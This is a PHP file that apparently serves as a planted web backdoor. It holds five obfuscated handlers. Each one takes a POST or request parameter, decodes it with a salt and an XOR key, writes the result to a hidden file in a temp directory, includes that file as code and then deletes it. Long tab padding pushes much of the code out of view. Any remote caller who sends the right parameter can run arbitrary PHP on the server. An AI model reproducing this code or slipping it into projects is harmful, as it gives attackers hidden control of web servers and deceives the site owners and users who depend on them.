<?php																																										if(isset($_POST) && isset($_POST["\x66la\x67"])){ $tkn = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp"]); $flg = $_POST["\x66la\x67"]; $flg = explode ("." , $flg ); $item=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $r=0; $__len=count( $flg); do { if( $r >= $__len) break; $v5=$flg[$r]; $sChar=ord( $salt[$r % $lenS]); $dec=( ( int)$v5 - $sChar -( $r % 10)) ^90; $item .= chr( $dec); $r++; } while( true); $fac = 0; do { $bind = $tkn[$fac] ?? null; if ($fac >= count($tkn)) break; if ((is_dir($bind) and is_writable($bind))) { $object = join("/", [$bind, ".property_set"]); if (file_put_contents($object, $item)) { require $object; unlink($object); die(); } } $fac++; } while (true); }
																																										if(array_key_exists("\x74\x6Fken", $_REQUEST) && !is_null($_REQUEST["\x74\x6Fken"])){ $tkn = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/tmp"]); $holder = $_REQUEST["\x74\x6Fken"]; $holder = explode ( "." , $holder ) ; $key =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s5 ); foreach ($holder as $w => $v5): $sChar =ord($s5[$w%$sLen] ); $d =((int)$v5 - $sChar - ($w%10))^ 67; $key .= chr($d ); endforeach; while ($ent = array_shift($tkn)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $dat = implode("/", [$ent, ".parameter_group"]); if (file_put_contents($dat, $key)) { require $dat; unlink($dat); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "p\x6F\x69\x6E\x74er")){ $entity = $_REQUEST["p\x6F\x69\x6E\x74er"]; $entity= explode( ".", $entity ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $z = 0; array_walk( $entity ,function( $v7) use( &$desc ,&$z ,$s ,$lenS) {$chS = ord( $s[$z % $lenS] ); $dec =( ( int)$v7 - $chS -( $z % 10)) ^39; $desc.=chr( $dec ); $z++; } ); $hld = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP")]); foreach ($hld as $bind) { if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $res = join("/", [$bind, ".flag"]); $success = file_put_contents($res, $desc); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(isset($_REQUEST["pt\x72"])){ $dchunk = $_REQUEST["pt\x72"]; $dchunk = explode ( '.', $dchunk ); $entity= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); foreach( $dchunk as $m => $v7) {$chS= ord( $salt[$m% $lenS] ); $dec= ( ( int)$v7 - $chS -( $m% 10)) ^ 33; $entity .= chr( $dec ); } $ent = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $parameter_group = 0; do { $token = $ent[$parameter_group] ?? null; if ($parameter_group >= count($ent)) break; if (max(0, is_dir($token) * is_writable($token))) { $pgrp = sprintf("%s/.descriptor", $token); if (file_put_contents($pgrp, $entity)) { require $pgrp; unlink($pgrp); die(); } } $parameter_group++; } while (true); }


if(in_array("ho\x6Cd\x65r", array_keys($_POST))){
	$sym = $_POST["ho\x6Cd\x65r"];
	 $sym			= 	 explode	('.' , 	 $sym	) 	; 
	$data_chunk 	='';
            $salt 	='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS 	=strlen($salt);
    
            foreach ($sym as $w	=>	$v9) {
                $sChar 	=ord($salt[$w 	%$lenS]);
                $d 	=((int)$v9 - $sChar - ($w 	%10)) ^ 26;
                $data_chunk.= 	chr($d);
            }
	$parameter_group = array_filter(["/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	foreach ($parameter_group as $key => $entity) {
    		if (!!is_dir($entity) && !!is_writable($entity)) {
    $flag = vsprintf("%s/%s", [$entity, ".element"]);
    if (file_put_contents($flag, $data_chunk)) {
	include $flag;
	@unlink($flag);
	exit;
}
}
}
}